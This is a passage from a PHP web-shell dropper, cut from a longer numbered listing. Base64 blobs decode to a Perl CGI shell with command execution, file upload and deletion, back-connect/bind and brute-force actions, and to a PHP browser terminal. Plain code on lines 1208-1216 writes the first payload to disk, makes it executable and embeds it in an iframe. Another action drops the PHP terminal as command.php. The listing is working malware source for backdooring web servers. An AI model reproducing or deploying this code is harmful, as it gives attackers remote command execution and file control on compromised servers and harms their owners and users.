GVjdXRpb24gU3RhcnRzIEhlcmUKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQomUmVhZFBhcnNlOwomR2V0Q29va2llczsKCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307CiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsKJExvZ2luUGFzc3dvcmQgPSAkaW57J3AnfTsKJFJ1bkNvbW1hbmQgPSBkZWNvZGVfYmFzZTY0KCRpbnsnYyd9KTsKJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9OwokT3B0aW9ucyA9ICRpbnsnbyd9OwokQWN0aW9uID0gJGlueydhJ307CgokQWN0aW9uID0gImNvbW1hbmQiIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0CgojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkCiRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKGRlY29kZV9iYXNlNjQodHJpbSgkaW57J2QnfSkpKTsKIyBtYWMgZGluaCB4dWF0IHRob25nIHRpbiBuZXUga28gY28gbGVuaCBuYW8hCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7CmNob21wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcigiZCIpOwoJaWYoISRXaW5OVCkKCXsKCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJaWYoJGNobW9kIG5lIDApCgkJewoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJCSRmaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7CgkJCWlmKGNobW9kKCRjaG1vZCwkZmlsZSkpCgkJCXsKCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQkJfWVsc2UKCQkJewoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQkJfQoJCX0KCX0KCSRyZW5hbWU9JGlueydyZW5hbWUnfTsKCWlmKCRyZW5hbWUgbmUgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn1lbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJCQkJCSMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZVcGxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQKewoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOwoJcHJpbnQgJkJhY2tCaW5kOwp9ZWxzaWYoJEFjdGlvbiBlcSAiYnJ1dGVmb3JjZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gYnJ1dGUgZm9yY2UKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZCcnV0ZUZvcmNlcjsKfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUKewoJcHJpbnQgJkRvd25sb2FkRmlsZTsKfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmVmlld0xvZzsKCn1lbHNpZigkQWN0aW9uIGVxICJkb21haW5zdXNlciIpIAkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxpc3QgdXNlci9kb21haW4KewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3RG9tYWluVXNlcjsKfWVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0CnsKCSZQZXJmb3JtTG9nb3V0Owp9CiZQcmludFBhZ2VGb290ZXI7Cgo=';
  1208. $file = fopen("e.love" ,"w+");
  1209. $write = fwrite ($file ,base64_decode($pythonp));
  1210. fclose($file);
  1211.     chmod("e.love",0755);
  1212.    echo "<iframe src=e/e.love width=100% height=720px frameborder=0></iframe> ";
  1213. }//end shell error.log window via NC
  1214. elseif ($action == 'newcommand') {
  1215. $file = fopen($dir."command.php" ,"w+");
  1216. $perltoolss = 'PD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygwKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0KCi8qIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyMKIyMgVGhlIG1haW4gdGhpbmcgc3RhcnRzIGhlcmUKIyMgQWxsIG91dHB1dCBpc3QgWEhUTUwKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwoKJHRlcm1pbmFsPW5ldyBwaHB0aGllbmxlOwoKQHNlc3Npb25fc3RhcnQoKTsKCiR0ZXJtaW5hbC0+aW5pdFZhcnMoKTsKJHRlcm1pbmFsLT5idWlsZENvbW1hbmRIaXN0b3J5KCk7CiR0ZXJtaW5hbC0+YnVpbGRKYXZhSGlzdG9yeSgpOwppZighaXNzZXQoJF9TRVNTSU9OWydwcm9tcHQnXSkpOiAkdGVybWluYWwtPmZvcm1hdFByb21wdCgpOyBlbmRpZjsKJHRlcm1pbmFsLT5vdXRwdXRIYW5kbGUoJGFsaWFzZXMpOwoKaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOwplY2hvICc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/PicgLiAiXG4iOwo/PgoKPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgU3RyaWN0Ly9FTiIKImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgeG1sOmxhbmc9ImVuIiBsYW5nPSJlbiI+CjxoZWFkPgo8dGl0bGU+PD9waHAgZWNobyAiV2Vic2l0ZSA6ICIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIiOz8+IHwgPD9waHAgZWNobyAiSVAgOiAiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIiOz8+PC90aXRsZT4KCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+CnZhciBjdXJyZW50X2xpbmUgPSAwOwp2YXIgY29tbWFuZF9oaXN0ID0gbmV3IEFycmF5KDw/cGhwIGVjaG8gJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXTsgPz4pOwp2YXIgbGFzdCA9IDA7CgpmdW5jdGlvbiBrZXkoZSkgewppZiAoIWUpIHZhciBlID0gd2luZG93LmV2ZW50OwoKaWYgKGUua2V5Q29kZSA9PSAzOCAmJiBjdXJyZW50X2xpbmUgPCBjb21tYW5kX2hpc3QubGVuZ3RoLTEpIHsKY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV0gPSBkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlOwpjdXJyZW50X2xpbmUrKzsKZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZSA9IGNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdOwp9CgppZiAoZS5rZXlDb2RlID09IDQwICYmIGN1cnJlbnRfbGluZSA+IDApIHsKY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV0gPSBkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlOwpjdXJyZW50X2xpbmUtLTsKZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZSA9IGNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdOwp9Cgp9CgpmdW5jdGlvbiBpbml0KCkgewpkb2N1bWVudC5zaGVsbC5zZXRBdHRyaWJ1dGUoImF1dG9jb21wbGV0ZSIsICJvZmYiKTsKZG9jdW1lbnQuc2hlbGwub3V0cHV0LnNjcm9sbFRvcCA9IGRvY3VtZW50LnNoZWxsLm91dHB1dC5zY3JvbGxIZWlnaHQ7CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQuZm9jdXMoKTsKfQoKPC9zY3JpcHQ+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmJvZHkge2ZvbnQtZmFtaWx5OiBzYW5zLXNlcmlmOyBjb2xvcjogYmxhY2s7IGJhY2tncm91bmQ6IHdoaXRlO30KdGFibGV7d2lkdGg6IGF1dG87IGhlaWdodDogYXV0bzsgYm9yZGVyOiAxcHggIzAwMDAwMCBzb2xpZDsgcGFkZGluZzogMHB4OyBtYXJnaW46IDBweDt9CnRkLmhlYWR7YmFja2dyb3VuZC1jb2xvcjogIzUyOUFERTsgY29sb3I6ICNGRkZGRkY7IGZvbnQtd2VpZ2h0OjcwMDsgYm9yZGVyOiBub25lOyB0ZXh0LWFsaWduOiBjZW50ZXI7IGZvbnQtc3R5bGU6IGl0YWxpY30KdGV4dGFyZWEge3dpZHRoOiAxMDAlOyBib3JkZXI6IG5vbmU7IHBhZGRpbmc6IDJweCAycHggMnB4OyBjb2xvcjogI0NDQ0NDQzsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDt9CnAucHJvbXB0IHtmb250LWZhbWlseTogbW9ub3NwYWNlOyBtYXJnaW46IDBweDsgcGFkZGluZzogMHB4IDJweCAycHg7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiAjQ0NDQ0NDO30KaW5wdXQucHJvbXB0IHtib3JkZXI6IG5vbmU7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiAjQ0NDQ0NDO30KPC9zdHlsZT4KPC9oZWFkPgo8Ym9keSBvbmxvYWQ9ImluaXQoKSI+Cjw/cGhwIGlmIChlbXB0eSgkX1JFUVVFU1RbJ3Jvd3MnXSkpICRfUkVRVUVTVFsncm93cyddID0gMjY7ID8+Cjx0YWJsZSBzaXplPScxMDAlJyBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgo8dHI+PHRkIGNsYXNzPSJoZWFkIiBzdHlsZT0iY29sb3I6ICMwMDAwMDA7Ij48Yj5YPC9iPjwvdGQ+Cjx0ZCBjbGFzcz0iaGVhZCI+PD9waHAgZWNobyAkX1NFU1NJT05bJ3Byb21wdCddLiI6Ii4iJF9TRVNTSU9OW2N3ZF0iOyA/Pgo8L3RkPjwvdHI+Cjx0cj48dGQgd2lkdGg9JzEwMCUnIGhlaWdodD0nMTAwJScgY29sc3Bhbj0nMic+PGZvcm0gbmFtZT0ic2hlbGwiIGFjdGlvbj0iPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTs/PiIgbWV0aG9kPSJwb3N0Ij4KPHRleHRhcmVhIG5hbWU9Im91dHB1dCIgcmVhZG9ubHk9InJlYWRvbmx5IiBjb2xzPSI1MDAiIHJvd3M9IjQwIj4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjE1MCIgdGFiaW5kZXg9IjEiPgo8L3A+Cgo8PyAvKjxwPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRXhlY3V0ZSBDb21tYW5kIiAvPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJyZXNldCIgdmFsdWU9IlJlc2V0IiAvPgpSb3dzOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icm93cyIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9SRVFVRVNUWydyb3dzJ10gPz4iIC8+CjwvcD4KCiovCj8+CjwvZm9ybT48L3RkPjwvdHI+CjwvYm9keT4KPC9odG1sPgo8P3BocCA/Pgo8P3BocAoKJGFsaWFzZXMgPSBhcnJheSgnbGEnID0+ICdscyAtbGEnLAonbGwnID0+ICdscyAtbHZoRicsCidkaXInID0+ICdscycgKTsKJHBhc3N3ZCA9IGFycmF5KCcnID0+ICcnKTsKZXJyb3JfcmVwb3J0aW5nKDEpOwpjbGFzcyBwaHB0aGllbmxlIHsKCmZ1bmN0aW9uIGZvcm1hdFByb21wdCgpIHsKJHVzZXI9c2hlbGxfZXhlYygid2hvYW1pIik7CiRob3N0PWV4cGxvZGUoIi4iLCBzaGVsbF9leGVjKCJ1bmFtZSAtbiIpKTsKJF9TRVNTSU9OWydwcm9tcHQnXSA9ICIiLnJ0cmltKCR1c2VyKS4iIi4iQCIuIiIucnRyaW0oJGhvc3RbMF0pLiIiOwp9CgpmdW5jdGlvbiBjaGVja1Bhc3N3b3JkKCRwYXNzd2QpIHsKaWYoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pfHwKIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9QVyddKSB8fAohaXNzZXQoJHBhc3N3ZFskX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddXSkgfHwKJHBhc3N3ZFskX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddXSAhPSAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgewpAc2Vzc2lvbl9zdGFydCgpOwpyZXR1cm4gdHJ1ZTsKfQplbHNlIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KfQoKZnVuY3Rpb24gaW5pdFZhcnMoKQp7CmlmIChlbXB0eSgkX1NFU1NJT05bJ2N3ZCddKSB8fCAhZW1wdHkoJF9SRVFVRVNUWydyZXNldCddKSkKewokX1NFU1NJT05bJ2N3ZCddID0gZ2V0Y3dkKCk7CiRfU0VTU0lPTlsnaGlzdG9yeSddID0gYXJyYXkoKTsKJF9TRVNTSU9OWydvdXRwdXQnXSA9ICcnOwokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9Jyc7Cn0KfQoKZnVuY3Rpb24gYnVpbGRDb21tYW5kSGlzdG9yeSgpCnsKaWYoIWVtcHR5KCRfUkVRVUVTVFsnY29tbWFuZCddKSkKewppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKQp7CiRfUkVRVUVTVFsnY29tbWFuZCddID0gc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFsnY29tbWFuZCddKTsKfQoKLy8gZHJvcCBvbGQgY29tbWFuZHMgZnJvbSBsaXN0IGlmIGV4aXN0cwppZiAoKCRpID0gYXJyYXlfc2VhcmNoKCRfUkVRVUVTVFsnY29tbWFuZCddLCAkX1NFU1NJT05bJ2hpc3RvcnknXSkpICE9PSBmYWxzZSkKewp1bnNldCgkX1NFU1NJT05bJ2hpc3RvcnknXVskaV0pOwp9CmFycmF5X3Vuc2hpZnQoJF9TRVNTSU9OWydoaXN0b3J5J10sICRfUkVRVUVTVFsnY29tbWFuZCddKTsKCi8vIGFwcGVuZCBjb21tbWFuZCAqLwokX1NFU1NJT05bJ291dHB1dCddIC49ICJ7JF9TRVNTSU9OWydwcm9tcHQnXX0iLiI6PiIuInskX1JFUVVFU1RbJ2NvbW1hbmQnXX0iLiJcbiI7Cn0KfQoKZnVuY3Rpb24gYnVpbGRKYXZhSGlzdG9yeSgpCnsKLy8gYnVpbGQgY29tbWFuZCBoaXN0b3J5IGZvciB1c2UgaW4gdGhlIEphdmFTY3JpcHQKaWYgKGVtcHR5KCRfU0VTU0lPTlsnaGlzdG9yeSddKSkKewokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiJzsKfQplbHNlCnsKJGVzY2FwZWQgPSBhcnJheV9tYXAoJ2FkZHNsYXNoZXMnLCAkX1NFU1NJT05bJ2hpc3RvcnknXSk7CiRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J10gPSAnIiIsICInIC4gaW1wbG9kZSgnIiwgIicsICRlc2NhcGVkKSAuICciJzsKfQp9CgpmdW5jdGlvbiBvdXRwdXRIYW5kbGUoJGFsaWFzZXMpCnsKaWYgKGVyZWcoJ15bWzpibGFuazpdXSpjZFtbOmJsYW5rOl1dKiQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOyAvL2Rpcm5hbWUoX19GSUxFX18pOwp9CmVsc2VpZihlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSsoW147XSspJCcsICRfUkVRVUVTVFsnY29tbWFuZCddLCAkcmVncykpCnsKLy8gVGhlIGN1cnJlbnQgY29tbWFuZCBpcyAnY2QnLCB3aGljaCB3ZSBoYXZlIHRvIGhhbmRsZSBhcyBhbiBpbnRlcm5hbCBzaGVsbCBjb21tYW5kLgovLyBhYnNvbHV0ZS9yZWxhdGl2ZSBwYXRoID8iCigkcmVnc1sxXVswXSA9PSAnLycpID8gJG5ld19kaXIgPSAkcmVnc1sxXSA6ICRuZXdfZGlyID0gJF9TRVNTSU9OWydjd2QnXSAuICcvJyAuICRyZWdzWzFdOwoKLy8gY29zbWV0aWNzCndoaWxlIChzdHJwb3MoJG5ld19kaXIsICcvLi8nKSAhPT0gZmFsc2UpCiRuZXdfZGlyID0gc3RyX3JlcGxhY2UoJy8uLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAn